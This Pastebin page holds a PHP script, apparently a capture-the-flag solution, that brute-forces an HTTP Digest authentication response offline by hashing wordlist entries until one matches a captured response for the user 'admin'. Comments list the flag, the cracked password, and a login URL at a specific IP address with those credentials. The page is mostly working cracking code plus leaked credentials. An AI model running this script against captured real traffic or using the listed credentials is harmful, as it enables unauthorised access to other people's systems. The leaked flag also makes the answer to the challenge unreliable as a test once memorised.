SHARE
TWEET

Untitled

a guest Jan 15th, 2014 261 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. //flag: CTF{6ee8014f5cc43767d03d97d6d73d9ed5}
  3. //pwd: cowboy123
  4. //InsidePro\ (Full)\ -\ 1.rar <-- wordlist took from http://www.insidepro.com/dictionaries.php
  5. //log in here with admin:cowboy123: http://54.201.187.163/auth.php
  6. //down here the script i used to brute digest admin access
  7. //look wikipedia for its functionality
  8.  
  9. ini_set('memory_limit', '-1');
  10. /*$username="Mufasa";
  11. $realm="testrealm@host.com";
  12. $password="";//have to be guessd
  13. $method="GET";
  14. $digestURI="/dir/index.html";
  15. $clientNonce="0a4f113b";
  16. $nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093";
  17. $nonceCount="00000001";
  18. $qop="auth";
  19. $response="6629fae49393a05397450978507c4ef1";
  20. */
  21. $username="admin";
  22. $realm="Private Area";
  23. $password="";//have to be guessd
  24. $method="GET";
  25. $digestURI="/auth.php";
  26. $clientNonce="347278e387a2f030";
  27. $nonce="1389094144";
  28. $nonceCount="00000001";
  29. $qop="auth";
  30. $response="f86930f9e0466aeced34036bc2f7a346";
  31.  
  32. //ha1=md5(username:realm:password)
  33. //ha2=md5(method:digesturi)
  34. //risposta=md5(ha1:nonce:nonceCount:clientNonce:qop:ha2)
  35. //$fp=fopen("all3.txt","r");
  36.  
  37.  
  38. //$ha1=md5($username.":".$realm.":".$password);
  39. //echo md5($ha1.":".$nonce.":".$nonceCount.":".$clientNonce.":".$qop.":".$ha2)."\n";
  40. $ha2=md5($method.":".$digestURI);
  41. $lines=file_get_contents("xab");
  42. $arr=explode("\r\n",$lines);
  43.  
  44. for($i=0;$i<count($arr);$i++){
  45.         $password=$arr[$i];
  46.  
  47.         $ha1=md5($username.":".$realm.":".$password);
  48.         $r=md5($ha1.":".$nonce.":".$nonceCount.":".$clientNonce.":".$qop.":".$ha2);
  49.        
  50.         if($r==$response){
  51.                 die($arr[$i]);
  52.         }
  53. }
  54.  
  55. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top